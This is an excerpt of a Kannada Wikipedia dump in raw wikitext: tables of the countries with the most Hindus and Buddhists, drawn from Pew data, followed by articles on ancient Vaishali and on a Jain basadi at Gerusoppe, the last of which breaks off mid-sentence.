===ಹೆಚ್ಚಿನ ಸಂಖ್ಯೆಯ ಹಿಂದೂಧರ್ಮದವರ ಮೊದಲ ಹತ್ತು ದೇಶಗಳ ಪಟ್ಟಿ=== [[File:Hinduism percent population in each nation World Map Hindu data by Pew Research.svg|thumb| ಪ್ರತಿ ರಾಷ್ಟ್ರದಲ್ಲಿ ಹಿಂದೂ ಧರ್ಮದ ಜನಸಂಖ್ಯೆ ವಿಶ್ವ ನಕ್ಷೆ ರಿಸರ್ಚ್‌ನ ಹಿಂದೂ ಡೇಟಾ]] {| class="wikitable" |- ! ಶ್ರೇಣಿ!! ರಾಜ್ಯ / ದೇಶ !!ಒಟ್ಟು ಜನಸಂಖ್ಯೆ !! ಶೇಕಡಾವಾರು !! ಹಿಂದೂಧರ್ಮದವರು- ಒಟ್ಟು !! ಜನಗಣತಿ ವರ್ಷ |- |1 || [[ಭಾರತ]] || 1,320,000,000 || 79.8% || 1,053,000,000 || 2011 |- |2 || ಯುನೈಟೆಡ್ ಸ್ಟೇಟ್ಸ್ || 322,000,000 || 0.7%[ || 2,300,000 || 2015 |- |3 ||[[ಇಂಡೋನೇಷ್ಯಾ]] || 259,000,000 || 3.86 - 6.95% || 10,000,000 - 18,000,00|| |- |4 || [[ಪಾಕಿಸ್ತಾನ]] || 196,000,000 || 1.85% || 3,626,000 || 2011 |- |5 || [[ಬ್ರೆಜಿಲ್]] || 192,755,799 || 0.0029%[ || 5,675-9500 || |- |6 || [[ಬಾಂಗ್ಲಾದೇಶ]]|| 167,000,000 || 8.54%[ || 14,300,000 || 2011 |- | 7 ||[[ರಷ್ಯಾ]] || 141,377,752 || 0.1% || 143,000 || |- | 8 ||ಜಪಾನ್ || 127,433,494 || <0.1 || 30,000 || |- | 9 ||[[ಫಿಲಿಪೈನ್ಸ್]] || 102,000,000 || <0.1% || 10,000 || |- | 10 ||[[ವಿಯೆಟ್ನಾಂ]] || 85,262,356 || 0.07% || 70,000 || |- |<ref>Religious Composition by Country, 2010-2050". Pew Research Center. 2 April 2015. Archived from the original on 15 June 2020. Retrieved 5 May 2020.</ref> |- |} ====ಹಿಂದೂ ಧರ್ಮದ ಹೆಚ್ಚಿನ ಶೇಕಡಾವಾರು ಜನಸಂಖ್ಯೆಯ ಮೊದಲ ಹತ್ತು ದೇಶಗಳ ಪಟ್ಟಿ==== {| class="wikitable" |- ! ಶ್ರೇಣಿ !! ದೇಶ!! ಶೇಕಡಾವಾರು!!ಒಟ್ಟು ಜನಸಂಖ್ಯೆ !!ಹಿಂದೂ ಒಟ್ಟು!! ಜನಗಣತಿ ವರ್ಷ |- |1|| [[ನೇಪಾಳ]] || 81.3% || 28,901,790 || 23,500,000|| 2011 |- |2 || [[ಭಾರತ]] || 79.8% || 1,320,000,000 || 1,053,000,000|| 2011) |- |3 || [[ಮಾರಿಷಸ್]] || 48.5% || 1,236,817 || 600,327|| 2011 |- |4 || ಫಿಜಿ || 27.9% || 935,974 || 261,136 || |- |5 || ಗಯಾನಾ || 24.83% || 769,095 || 190,966 || |- |6 || [[ಭೂತಾನ್]] || 22.6% - 25% || 742,737 || 185,700 || |- |7 || ಸುರಿನಾಮ್ || 22.3% ---27.4% || 470,784 ||120,623 – 128,995|| |- |8 || ಟ್ರಿನಿಡಾಡ್ ಮತ್ತು ಟೊಬಾಗೊ || 18.2% || 1,056,608 || 240,100 ||2011 |- |9 || [[ಕತಾರ್]] || 13.8% || 2,471,919 || 358,800|| |- | 10 || [[ ಶ್ರೀಲಂಕಾ]] || 12.6% || 21,200,000 || 2,671,000|| 2011 |- |<ref>Religious Composition by Country, 2010-2050". Pew Research Center. 2 April 2015. Archived from the original on 15 June 2020. Retrieved 5 May 2020.</ref> |} ===ಬೌದ್ಧ ಧರ್ಮದ ಹೆಚ್ಚಿನ ಜನಸಂಖ್ಯೆಯ ಮೊದಲ ಹದಿನಾಲ್ಕು ದೇಶಗಳ ಪಟ್ಟಿ=== [[File:Buddhism percent population in each nation World Map Buddhist data by Pew Research.svg|thumb| ಪ್ರತಿ ರಾಷ್ಟ್ರದಲ್ಲಿ ಬೌದ್ಧಧರ್ಮದ ಶೇಕಡಾ ಜನಸಂಖ್ಯೆ ವಿಶ್ವ ನಕ್ಷೆ ಪ್ಯೂ ರಿಸರ್ಚ್‌ನ ಬೌದ್ಧ ದತ್ತಾಂಶ]] ಪ್ರತಿ ದೇಶದ [[ಬೌದ್ಧಧರ್ಮ]]ದ ಈ ಪಟ್ಟಿಯು ಬೌದ್ಧಧರ್ಮದ ವಿತರಣೆಯನ್ನು ತೋರಿಸುತ್ತದೆ, ಇದನ್ನು 2010 ರ ಹೊತ್ತಿಗೆ ಸುಮಾರು 500 ಮಿಲಿಯನ್ ಜನರು ಆಚರಿಸಿದ್ದಾರೆ, [[ವಿಶ್ವ]]ದ ಒಟ್ಟು ಜನಸಂಖ್ಯೆಯ 7% ರಿಂದ 8% ರಷ್ಟು ಈ ಧರ್ಮವನ್ನು ಪ್ರತಿನಿಧಿಸುತ್ತಾರೆ. *[[ಭೂತಾನ್]], [[ಮ್ಯಾನ್ಮಾರ್]], ಕಾಂಬೋಡಿಯಾ, ಟಿಬೆಟ್, ಲಾವೋಸ್, ಮಂಗೋಲಿಯಾ, ಶ್ರೀಲಂಕಾ ; ಮತ್ತು ಥೈಲ್ಯಾಂಡ್ನಲ್ಲಿ ಬೌದ್ಧಧರ್ಮವು ಪ್ರಧಾನ ಧರ್ಮವಾಗಿದೆ.; ಚೀನಾದಲ್ಲಿ ದೊಡ್ಡ ಬೌದ್ಧ ಜನಸಂಖ್ಯೆ (18%), [[ಜಪಾನ್]] (36%), ತೈವಾನ್ (35%), ಮಕಾವು (17%), [[ಉತ್ತರ ಕೊರಿಯಾ]] (14%), [[ನೇಪಾಳ]] (11%), ವಿಯೆಟ್ನಾಂ (10%), ಸಿಂಗಾಪುರ (33%), ಹಾಂಗ್ ಕಾಂಗ್ (15%) ಮತ್ತು ದಕ್ಷಿಣ ಕೊರಿಯಾ (23%). ಚೀನಾವು ಬೌದ್ಧರ ಅತಿದೊಡ್ಡ ಜನಸಂಖ್ಯೆಯನ್ನು ಹೊಂದಿರುವ ದೇಶವಾಗಿದೆ, ಅಂದಾಜು 244 ಮಿಲಿಯನ್ ಅಥವಾ ಅದರ ಒಟ್ಟು ಜನಸಂಖ್ಯೆಯ 18.2%. ಅವರು ಹೆಚ್ಚಾಗಿ ಮಹಾಯಾನದ ಚೀನೀ ಸಿದ್ಧಾಂತಗಳ ಅನುಯಾಯಿಗಳಾಗಿದ್ದು, ಇದು ಬೌದ್ಧ ಸಂಪ್ರದಾಯಗಳ ಅತಿದೊಡ್ಡ ಸಂಸ್ಥೆಯಾಗಿದೆ.<ref>[1 "Global Religious Landscape: Buddhists". Pew Research Center. 18 December 2012].</ref> <ref>[5- "Global Religious Landscape – Religious Composition by Country". The Pew Forum. Retrieved 28 July 2013]</ref> {| class="wikitable" |- ! ಕ್ರಮಸಂಖ್ಯೆ!!ದೇಶ !! ಒಟ್ಟು ಜನಸಂಖ್ಯೆ (2010)!!ಅಂದಾಜು ಶೇಕಡಾ% ಬೌದ್ಧರು (2010)!! ಬೌದ್ಧರ ಸಂಖ್ಯೆ (2010)ಅಂದಾಜು |- | 1|| ಚೀನಾ || 1,341,340,000 || 18.2% || 244,130,000 |- | 2 || [[ಥೈಲ್ಯಾಂಡ್]] || 69,120,000 || 93.2% || 64,420,000 |- | 3 || [[ಜಪಾನ್]] || 126,540,000 || 36.2% || 45,820,000 |- | 4 || [[ಮ್ಯಾನ್ಮಾರ್]] (ಬರ್ಮಾ) || 47,960,000 || 80.1% || 38,410,000 |- | 5 || [[ಶ್ರೀಲಂಕಾ]] || 20,860,000 || 69.3% || 14,450,000 |- | 6 || ವಿಯೆಟ್ನಾಂ || 87,850,000 || 16.4% || 14,380,000 |- | 7 || ಕಾಂಬೋಡಿಯಾ || 14,140,000 || 96.9% || 13,690,000 |- | 8 || ದಕ್ಷಿಣ ಕೊರಿಯಾ || 48,180,000 || 22.9% || 11,050,000 |- | 9 || [[ಭಾರತ]] || 1,224,610,000 || 0.8% || 9,250,000 |- | 10 || ಮಲೇಷ್ಯಾ || 28,400,000 || 19.8 % || 5,010,000 |- | 11 || ತೈವಾನ್ || 23,220,000 || 21.3% || 4,950,000 |- | 12 || ಲಾವೋಸ್ || 6,200,000 || 66.1% || 4,100,000 |- | 13 || ಯುನೈಟೆಡ್ ಸ್ಟೇಟ್ಸ್ || 310,380,000 || 1.2% || 3,570,000 |- | 14 || [[ನೇಪಾಳ]]. || 29,960,000 || 10.3% || 3,080,000 |- |} ====ಬೌದ್ಧ ಧರ್ಮದ ಹೆಚ್ಚಿನ ಶೇಕಡಾವಾರು ಜನಸಂಖ್ಯೆಯ ಮೊದಲ ಹದಿನೈದು ದೇಶಗಳ ಪಟ್ಟಿ==== {| class="wikitable" |- !ಕ್ರಮ ಸಂಖ್ಯೆ||ದೇಶ / ಪ್ರಾಂತ್ಯ!!ಜನಸಂಖ್ಯೆ (2010) ಪ್ಯೂ ಅಂದಾಜು!!% ಬೌದ್ಧ (2010) ಪ್ಯೂ ಅಂದಾಜು!!ಬೌದ್ಧರ ಸಂಖ್ಯೆ (2010) ಪ್ಯೂ ಅಂದಾಜು!!ಬೌದ್ಧರ ಸಂಖ್ಯೆ ಇತರ ಅಂದಾಜುಗಳು |- |1 || [[ಕಾಂಬೋಡಿಯಾ]] || 14,140,000 || 96.9% || 13,690,000 || 97.9% (2013) |- |2 || [[ಥೈಲ್ಯಾಂಡ್]] ||69,120,000 || 93.2% || 64,420,000 || 94.5% / 63,620,298 (2015 census) |- |3|| [[ಮ್ಯಾನ್ಮಾರ್ ]](ಬರ್ಮಾ) || 47,960,000 || 80.1% || 38,410,000 || 87.9% (Census 2014) |- |4|| [[ಭೂತಾನ್]] || 730,000 || 74.7% || 540,000 || |- |5|| [[ಶ್ರೀಲಂಕಾ]] || 20,860,000 || 69.3% || 14,450,000 || 70.2% / 14,222,844 (2011 census) |- |6|| [[ಲಾವೋಸ್]] || 6,200,000 || 66.1% || 4,100,000 || |- |7|| [[ಮಂಗೋಲಿಯಾ]] || 2,760,000 || 55.1% || 1,520,000 || |- |8|| [[ಜಪಾನ್]]||126,540,000||36.2% ||45,820,000 ||67% or 84,336,539 (2018, ACA Religious Yearbook)less than 20% (2017, JGSS) |- |9|| [[ಸಿಂಗಾಪುರ]] || 5,090,000 || 33.9% || 1,730,000 || |- |10|| [[ದಕ್ಷಿಣ ಕೊರಿಯಾ]] || 48,180,000 || 22.9% || 11,050,000 || |- |11|| ತೈವಾನ್ || 23,220,000 || 21.3% || 4,950,000 || 35% / 8,050,000 (2006) |- |12|| [[ಮಲೇಷ್ಯಾ]] || 28,400,000 || 19.8 % || 5,010,000 || |- |13|| [[ಚೀನಾ]] || 1,341,340,000 || 18.2% || 244,130,000 || |- |14|| ಮಕಾವು || 540,000 || 17.3% || 90,000 || 80% / 455,000 (2012 govt. report) |- |15|| ವಿಯೆಟ್ನಾಂ || 87,850,000 || 16.4% || 14,380,000|| |- |.<ref>[1 "Global Religious Landscape: Buddhists". Pew Research Center. 18 December 2012].</ref> <ref>[5- "Global Religious Landscape – Religious Composition by Country". The Pew Forum. Retrieved 28 July 2013]</ref> |} ==ನೋಡಿ== *[[ವಿಶ್ವದ ಜನಸಂಖ್ಯೆ]] *[[ಭಾರತದ ಜನಸಂಖ್ಯೆಯ ಬೆಳವಣಿಗೆ]] ==ಉಲ್ಲೇಖ== {{Reflist|2}} [[ವರ್ಗ:ಜನಸಂಖ್ಯೆ]][[ವರ್ಗ:ಧರ್ಮ]] qlgzhc9edfuygr7xzqizbcqbfaaug8h ವೈಶಾಲಿ 0 133603 1116482 1102267 2022-08-23T13:37:02Z InternetArchiveBot 69876 Rescuing 1 sources and tagging 0 as dead.) #IABot (v2.0.9 wikitext text/x-wiki [[ಚಿತ್ರ:Ashoka pillar at Vaishali, Bihar, India 2007-01-29 cropped2.jpg|thumb|ವೈಶಾಲಿಯ ಅಶೋಕ ಸ್ತಂಭದ ಬೋದಿಗೆ]] '''ವೈಶಾಲಿ''' ಅಥವಾ '''ವೇಸಾಲಿ''' ಭಾರತದ ಇಂದಿನ [[ಬಿಹಾರ]] ರಾಜ್ಯದ ನಗರವಾಗಿತ್ತು. ಈಗ ಇದು ಪುರಾತತ್ವ ತಾಣವಾಗಿದೆ. ಇದು ತಿರ್ಹುತ್ ವಿಭಾಗದ ಭಾಗವಾಗಿದೆ.<ref>{{Cite web|url=http://tirhut-muzaffarpur.bih.nic.in/Default.htm|title=Tirhut Division|website=tirhut-muzaffarpur.bih.nic.in|access-date=26 December 2019|archive-date=16 ಮಾರ್ಚ್ 2015|archive-url=https://web.archive.org/web/20150316011819/http://tirhut-muzaffarpur.bih.nic.in/|url-status=dead}}</ref> ಇದು ಕ್ರಿ.ಪೂ ೬ ನೇ ಶತಮಾನದ ಸುಮಾರು [[ಗಣರಾಜ್ಯ|ಗಣರಾಜ್ಯದ]] ಮೊದಲ ಉದಾಹರಣೆಗಳಲ್ಲಿ ಒಂದೆಂದು ಪರಿಗಣಿಸಲ್ಪಟ್ಟ [[ವಜ್ಜಿ]] ಮಹಾಜನಪದ (ವೃಜ್ಜಿ [[ಮಹಾಜನಪದಗಳು|ಮಹಾಜನಪದ]]) ರಾಜಧಾನಿಯಾಗಿತ್ತು. [[ಗೌತಮ ಬುದ್ಧ]] ಕ್ರಿ.ಪೂ. ೪೮೩ರಲ್ಲಿ ತನ್ನ ಮರಣದ ಮೊದಲು ತನ್ನ ಕೊನೆಯ ಧರ್ಮೋಪದೇಶವನ್ನು ಇಲ್ಲಿ ನೀಡಿದ. ನಂತರ ಕ್ರಿ.ಪೂ. ೩೮೩ರಲ್ಲಿ ಎರಡನೇ ಬೌದ್ಧ ಪರಿಷತ್ತನ್ನು ಕಾಲಸೋಕ ರಾಜನು ಇಲ್ಲಿ ನಡೆಸಿದನು. ಹಾಗಾಗಿ ಇದು [[ಜೈನ ಧರ್ಮ|ಜೈನ]] ಮತ್ತು [[ಬೌದ್ಧ ಧರ್ಮ|ಬೌದ್ಧ]] ಧರ್ಮ ಎರಡರಲ್ಲೂ ಪ್ರಮುಖ ಸ್ಥಾನವಾಗಿದೆ.<ref>{{Cite book|url=https://books.google.com/books?id=T7ZHUhSEleYC&q=Vaishali&pg=PA556|title=India: Lonely planet Guide|last=Bindloss|first=Joe|last2=Sarina Singh|publisher=[[Lonely Planet]]|year=2007|isbn=978-1-74104-308-2|page=556|ref=|author-link=}}</ref><ref>{{Cite book|url=https://books.google.com/books?id=DPP7O3nb3g0C&q=Vaishali&pg=PA208|title=Students' Britannica India, Volumes 1-5|last=Hoiberg|first=Dale|last2=Indu Ramchandani|publisher=Popular Prakashan|year=2000|isbn=0-85229-760-2|page=208|ref=|author-link=}}</ref><ref>{{Cite book|url=https://books.google.com/books?id=TPVq3ykHyH4C&q=Vaishali&pg=PA57|title=A history of India|last=Kulke|first=Hermann|last2=Dietmar Rothermund|publisher=Routledge|year=2004|isbn=0-415-32919-1|page=57|ref=|author-link=}}</ref> ಇದು ಅತ್ಯುತ್ತಮವಾಗಿ ಸಂರಕ್ಷಿತವಾಗಿರುವ ಒಂದು ಅಶೋಕ ಸ್ತಂಭವನ್ನು ಹೊಂದಿದೆ. ಸ್ತಂಭದ ತುದಿಯಲ್ಲಿ ಒಂದು ಸಿಂಹವಿದೆ ( {{Coord|26.014162|85.109220|display=inline}} ) . [[ಚಿತ್ರ:Shanti_Stupa_@_Vaishali_-_panoramio.jpg|thumb| ವೈಶಾಲಿಯಲ್ಲಿ ಸ್ತೂಪ]] [[ಚಿತ್ರ:Ablution_bath,_Vaishali.jpg|left|thumb|200x200px| ''ಅಭಿಷೇಕ್ ಪುಷ್ಕರಿಣಿ'', ಪಟ್ಟಾಭಿಷೇಕದ ತೊಟ್ಟಿ, ಬುದ್ಧನ ಅವಶೇಷ ಸ್ತೂಪ, ವೈಶಾಲಿ ಬಳಿ ಇದೆ.]] [[ಬೌದ್ಧ ಧರ್ಮ|ಬೌದ್ಧಧರ್ಮ]] ಮತ್ತು [[ಜೈನ ಧರ್ಮ|ಜೈನ]] [[ಬೌದ್ಧ ಧರ್ಮ|ಧರ್ಮದ]] ಆಗಮನಕ್ಕೂ ಮುಂಚೆಯೇ, ವೈಶಾಲಿಯು [[ಗಣರಾಜ್ಯ|ಗಣತಂತ್ರವಾದಿ]] [[ಲಿಚ್ಛವಿ|ಲಿಚ್ಚವಿ ರಾಜ್ಯದ]] ರಾಜಧಾನಿಯಾಗಿತ್ತು.<ref>{{Cite web|url=http://bstdc.bih.nic.in/Vaishali.htm|title=BSTDC|website=BSTDC|access-date=26 December 2019}}</ref><ref>[https://www.britannica.com/place/Vaishali Vaishali] – [[Encyclopædia Britannica]]</ref> ಆ ಅವಧಿಯಲ್ಲಿ, ವೈಶಾಲಿ ಒಂದು ಪ್ರಾಚೀನ [[ಮಹಾನಗರ]] ಮತ್ತು ವೈಶಾಲಿ ರಾಜ್ಯ ಗಣತಂತ್ರದ [[ರಾಜಧಾನಿ|ರಾಜಧಾನಿಯಾಗಿತ್ತು]]. ಅದು ಇಂದಿನ [[ಬಿಹಾರ]] ರಾಜ್ಯದ [[ಹಿಮಾಲಯ]] [[ಗಂಗಾ]] ಪ್ರದೇಶದ ಬಹುಭಾಗವನ್ನು ಒಳಗೊಂಡಿತ್ತು. ಆದಾಗ್ಯೂ, ವೈಶಾಲಿಯ ಆರಂಭಿಕ ಇತಿಹಾಸದ ಬಗ್ಗೆ ಬಹಳ ಕಡಿಮೆ ತಿಳಿದುಬಂದಿದೆ. == ಉಲ್ಲೇಖಗಳು == {{Reflist}} == ಹೆಚ್ಚಿನ ಓದಿಗೆ == * {{Cite book|url=|title=Archaeology of Vaishali|last=Kumar|first=Dilip|publisher=Ramanand Vidya Bhawan|year=1986|isbn=|page=|author-link=}} * {{Cite book|url=https://books.google.com/books?id=LXw9pgWvFxUC&q=Vaishali&pg=PA28|title=Vaishali and the Indianization of Arakan|last=Singer|first=Noel.F.|publisher=APH Publishing|year=2008|isbn=978-81-313-0405-1|page=|author-link=}} == ಹೊರಗಿನ ಕೊಂಡಿಗಳು == * {{Britannica|621629}} {{ppn|vy/vesaali.htm|Vesali}} {{ppn|vy/vesaali.htm|Vesali}} * [https://ebooks.adelaide.edu.au/f/fa-hien/f15l/chapter25.html Description of '''Vaisali'''] {{Webarchive|url=https://web.archive.org/web/20161129210214/https://ebooks.adelaide.edu.au/f/fa-hien/f15l/chapter25.html |date=2016-11-29 }} by the Chinese pilgrim monk [[Faxian]] (399-414 AC) <span></span> [[ವರ್ಗ:ಭಾರತದ ಹಿಂದಿನ ರಾಜಧಾನಿ ನಗರಗಳು]] gb23s6rf11q5r11yhy38rp6o4vhcioj ಜ್ವಾಲಾಮಾಲಿನಿ ದೇವಿ ಬಸದಿ, ಗೇರುಸೊಪ್ಪೆ 0 134523 1116530 1113394 2022-08-23T16:48:44Z 117.230.3.212 wikitext text/x-wiki ಭಗವಾನ್ ಶ್ರೀ ಪಾರ್ಶ್ವನಾಥ ಸ್ವಾಮಿ ಹಾಗು ಮಹಾಮಾತೆ ಶ್ರೀ ಜ್ವಾಲಮಾಲಿನಿ ದೇವಿಯ ಈ ಬಸದಿಯನ್ನು ಹಿರೇ ಬಸದಿ ಎಂದೂ ಕರೆಯುತ್ತಾರೆ. ==ಸ್ಥಳ ಮತ್ತು ಮಾ‍ರ್ಗ== ಹೊನ್ನಾವರದಿಂದ ೩೯ಕಿ.ಮೀ ದೂರದಲ್ಲಿ ಶರಾವತಿ ಮತ್ತು ಕ¯ಕಟ್ಟೆ ನದಿಯ ಬಳಿಯಲ್ಲಿದೆ. ಗೇರುಸೊಪ್ಪೆ ಸರ್ಕಲ್‌ನಿಂದ ಬಸದಿಗೆ ೭ ಕಿ.ಮೀ ದೂರ. ಗೇರುಸೊಪ್ಪೆ ಪೇಟೆಯಿಂದ ದೋಣಿ ಮುಖಾಂತರ ಬರುವುದಾದರೆ ೧ ಕಿ.ಮೀ ದೂರ. ದೋಣಿ ದಾಟಿ ನಡೆದುಕೊಂಡು ಬರುವುದಾದರೆ ಗೇರುಸೊಪ್ಪೆ ಸರ್ಕಲ್‌ನಿಂದ ಮುಂದೆ ಜೋಗ ರಸ್ತೆಯಲ್ಲಿ ಸ್ವಲ್ಪ ಮುಂದೆ ಹೋದಾಗ ಎಡಭಾಗದಲ್ಲಿ ಅರಣ್ಯ ಇಲಾಖೆಯವರ ಸಿಂಗಳಿಕ ಪಾರ್ಕ್ ಇದೆ. ಅಲ್ಲೇ ಮುಂದೆ ಬಲಭಾಗದಲ್ಲಿ ಡ್ಯಾಂ ಸೈಟಿಗೆ ಹೋಗುವ ದಾರಿಯಿದೆ. ಅದೇ ರಸ್ತೆಯಲ್ಲಿ ಸೇತುವೆ ದಾಟಿ ಮುಂದೆ ಹೋದಾಗ ಸದಿಗೆ ಹೋಗುವ ರಸ್ತೆ ಸಿಗುತ್ತದೆ. ಆ ರಸ್ತೆ ಇಲ್ಲಿಗೇ ಬರುತ್ತದೆ. ಇದುವೇ ಈ ಗೇರುಸೊಪ್ಪೆಯ ಈ ಬಸದಿಗಳ ಸಮುಚ್ಛಯಕ್ಕೆ ಬರುವ ದಾರಿ. ಇದು ಈ ವರೆಗೆ ವಿವರಿಸಿದ ಬಸದಿಗಳ ಹತ್ತಿರದಲ್ಲೇ ಇದೆ. ಇದರ ಪೋಸ್ಟಲ್ ಮಾಹಿತಿ: ಶ್ರೀ ಪಾರ್ಶ್ವನಾಥ ಸ್ವಾಮಿ, ಶ್ರೀ ಜ್ವಾಲಾಮಾಲಿನಿ ದೇವಿ ಬಸದಿ, ಬಸದಿ ಕೇರಿ, ನಗರಬಸದಿ ಕೇರಿ ಅಂಚೆ, ಗೇರುಸೊಪ್ಪೆ – ೫೮೧೩೮೪, ಹೊನ್ನಾವರ ತಾಲೂಕು, ಉತ್ತರ ಕನ್ನಡ ಜಿಲ್ಲೆ. ==ಇತಿಹಾಸ== ಪ್ರಾಚೀನ ಕಾಲದಲ್ಲಿ ಇಲ್ಲಿ ಶ್ರೀ ಸಮಂತಭದ್ರಾಚಾರ್ಯರ ಮಠ ಇತ್ತೆಂದು ಹೇಳುತ್ತಾರೆ. ಇತಿಹಾಸದಲ್ಲಿ ಈ ಕ್ಷೇತ್ರದ ರಾಜಗುರು ಮೂಡುಬಿದಿರೆಯ ಭಟ್ಟಾರಕರು ಎಂಬ ಉಲ್ಲೇಖ ಇದೆ. ಇದು ಸಾದ್ವಿ ಮಠಕ್ಕೆ ಹತ್ತಿರದಲ್ಲಿರುವುದರಿಂದ ಯಾವುದೇ ದೊಡ್ಡ ಧಾರ್ಮಿಕ ಕಾರ್ಯಕ್ರಮ ನಡೆದಾಗ ಅವರ ಮಾರ್ಗದರ್ಶನ ಕೇಳಿ ಅದರಂತೆ ಇಲ್ಲಿಯವರು ನಡೆದುಕೊಳ್ಳುತ್ತಾರೆ. ಹಿಂದೆ ಇಲ್ಲಿ ಮೂಲತಹ ಬಸ್ತಿಮಕ್ಕಿ ಮಂಜಯ್ಯ ಶೆಟ್ಟಿ ಪುರೋಹಿತಶರಾಗಿದ್ದರು.ಇವರೇ ಇಲ್ಲಿಯ ಮೂಲಪುರೋಹಿತರು. 1925 ರಲ್ಲಿ ಇವರು ಕಾಲವಾದ ನಂತರ ಅವರಿಗೆ ಸಂತಾನವಿಲ್ಲದ ಕಾರಣ ಪೂಜಾ ಕಾರ್ಯಕ್ಕೆ ಯಾರೂ ಲಭ್ಯವಿಲ್ಲದೆ ಆಯಿತು.ನಾಲ್ಕಾರು ವರ್ಷ ಹೆಗ್ಗಾರುಗದ್ದೆಯ ಮನೆತನ ಹಾಗು ಹಂಜಕ್ಕಿ ಮನೆತನದವರು ಆಡಳಿತ ಮತ್ತು ಪೂಜಾ ಕಾರ್ಯ ನಡೆಸಿಕೊಂಡು ಹೋದರು.ಇದನ್ನು ಉಳಿಸಿಬೆಳೆಸಿದ ಕೀರ್ತಿ ಹೆಗ್ಗಾರುಗದ್ದೆ ಹಾಗು ಹಂಜಕ್ಕಿ ಮನೆತನಕ್ಕೆ ಸಲ್ಲುತ್ತದೆ. ಹೆಗ್ಗಾರುಗದ್ದೆ ಮನೆತನದವರೇ ಪುರೋಹಿತರ ವೇತನವನ್ನು ಹಲವು ವರ್ಷಗಳ ಕಾಲ ನೀಡುತ್ತಿದ್ದರು. ಒಂದು ಅರ್ಥದಲ್ಲಿ ಕ್ಷೇತ್ರದ ವಾರಸ್ದಾರರೇ ಆಗಿದ್ದರು. ನಂತರದ ವರ್ಷಗಳಲ್ಲಿ ಪೂಜಾಕಾರ್ಯ ನಿರ್ವಹಿಸಿದವರುಗಳೆಂದರೆ ಹಳದೀಪುರದ ವರ್ಧಮಾನಶೆಟ್ಟಿ ಮತ್ತು ದೀಪಣ್ಣಶೆಟ್ಟಿ ತದನಂತರ ದ್ಯಾವ್ರಭಟ್ಟ(ಕೆಲವು ತಿಂಗಳು) ನಾಭಿರಾಜ ಇಂದ್ರ ಪೂಜಾಕಾರ್ಯ ನೋಡಿಕೊಂಡಿದ್ದರು.1960 ರ ನಂತರ ಜಿನ್ನಯ್ಯ ಜ್ವಾಲಯ್ಯ ಶೆಟ್ಟಿ, ಪುರೋಹಿತರಾಗಿ ಬಂದರು. ನಂತರ ಜಿನ್ನಯ್ಯ ಜ್ವಾಲಯ್ಯ ಮದುವೆ ಆಗದೆ ಇದ್ದುದರಿಂದ ಅವರ ಸಾಕು ಮಗನಾದ ಶ್ರೀ ಚಂದಯ್ಯ ಶೆಟ್ಟಿಯವರು ಇದನ್ನು ನಡೆಸಿಕೊಂಡು ಹೋದರು. ಈಗ ಅವರ ಮಕ್ಕಳಾದ ಶ್ರೀಕಾಂತ ಚಂದಯ್ಯ ಶೆಟ್ಟಿ, ನಾಗರಾಜ ಚಂದಯ್ಯ ಶೆಟ್ಟಿ ಹಾಗು ಸೋಮರಾಜ ಚಂದಯ್ಯ ಶೆಟ್ಟಿ ಹೋದರರು ಇದನ್ನು ನಡೆಸಿಕೊಂಡು ಬರುತ್ತಿದ್ದಾರೆ. ==ಕಾಲ== ಈ ಬಸದಿಯು ಕ್ರಿ.ಶ. ೯ನೇ ಶತಮಾನದಿಂದ ಇದೆ ಎಂದು ಹೇಳುತ್ತಾರೆ. ಇದಕ್ಕೆ ಸಂದಂಧಿಸಿದ ಬೇರೆ ಬೇರೆ ಶಿಲಾ ಶಾಸನಗಳಿದ್ದು ಅವುಗಳ ಅಧ್ಯಾಯನದಿಂದ ಈ ಬಸದಿಯ ಹಿನ್ನಲೆಯ ಕುರಿತು ನಿಖರವಾಗಿ ತಿಳಿದುಬಂದೀತು. ಈ ಬಸದಿಯ ಪೂರ್ಣ ಪ್ರಮಾಣದ ಜೀರ್ಣೋದ್ಧಾರ ಕಾರ್ಯ ನಡೆದಿಲ್ಲ. ಆದರೆ ಸದ್ಯ ಬಹಳ ಉತ್ತಮ ಸ್ಥಿತಿಯಲ್ಲಿದೆ.<ref>{{cite book |last1=ಶೇಣೈ |first1=ಉಮಾನಾಥ ವೈ |title=ಕರಾವಳಿ ಕರ್ನಾಟಕದ ಜಿನ ಮಂದಿರಗಳ ದರ್ಶನ |publisher=ಮಂಜೂ ಶ್ರೀ ಪ್ರಿಂಟರ್ಸ್ |location=ಉಜಿರೆ |pages=೩೯೨ |edition=೧}}</ref> ==ಐತಿಹಾಸಿಕ ವಿಶೇಷತೆ== ಗಂಧ ಕುಟಿ ಇರಬೇಕಾದ ಈ ಸ್ಥಳದಲ್ಲಿ ಶ್ರೀ ಕೂಷ್ಮಾಂಡಿನಿ ದೇವಿ ಮತ್ತು ಶ್ರೀ ಬ್ರಹ್ಮ ದೇವರ ದೊಡ್ಡ ಮೂರ್ತಿಗಳಿವೆ. ಗರ್ಭಗುಡಿಯಲ್ಲಿ ಶ್ರೀ ಪಾರ್ಶ್ವನಾಥ ಸ್ವಾಮಿಯ ಬಿಂಬವಿದೆ. ಮಹಾಮಾತೆ ಪದ್ಮಾವತಿ ದೇವಿಯು ಖಡ್ಗಾಸನದಲ್ಲಿದ್ದು, ಉತ್ತರ ದಿಕ್ಕಿಗೆ ಮುಖಮಾಡಿದೆ. ಈ ದೇವಿಗೆ ಸೀರೆ ಉಡಿಸಿ ಬಳೆ ತೊಡಿಸಿ, ಹೂವಿನಿಂದ ಅಲಂಕಾರ ಮಾಡಿ ಪೂಜೆ ಮಾಡಲಾಗುತ್ತದೆ. ಅಮ್ಮನವರ ಕಾಲಿನ ಬಳಿ ಕುಕ್ಕುಟ ಸರ್ಪ ಇದೆ. ಬಸದಿಯಲ್ಲಿ ಅಡಿಕೆ ಹೂವಿನಿಂದ ಪ್ರಸಾದ ಕೇಳುವ ಪದ್ಧತಿ ಇದೆ. ಒಮ್ಮೆ ತಿಳಿಯದೆ ಅಮ್ಮನವರ ಮೂರ್ತಿಯನ್ನು ಸ್ವಚ್ಛಗೊಳಿಸಲೆಂದು ಪೀಠದಿಂದ ತಂದು ಬಾವಿ ಕಟ್ಟೆಯ ಮೇಲೆ ಜಿನ್ನಯ್ಯ ಶೆಟ್ಟಿಯವರು ಇರಿಸಿ ಸ್ವಚ್ಛಗೊಳಿಸಿದರು. ನಂತರ ಅಮ್ಮನವರ ಬಿಂಬವನ್ನು ಮೇಲಕ್ಕೆ ಎತ್ತಲು ಸಾಧ್ಯವಾಗಲಿಲ್ಲ. ಆಗ ಊರಿನ ಹಿರಿಯರು ಎಲ್ಲರೂ ಸೇರಿ ಪ್ರಾರ್ಥನೆ ಮಾಡಿ 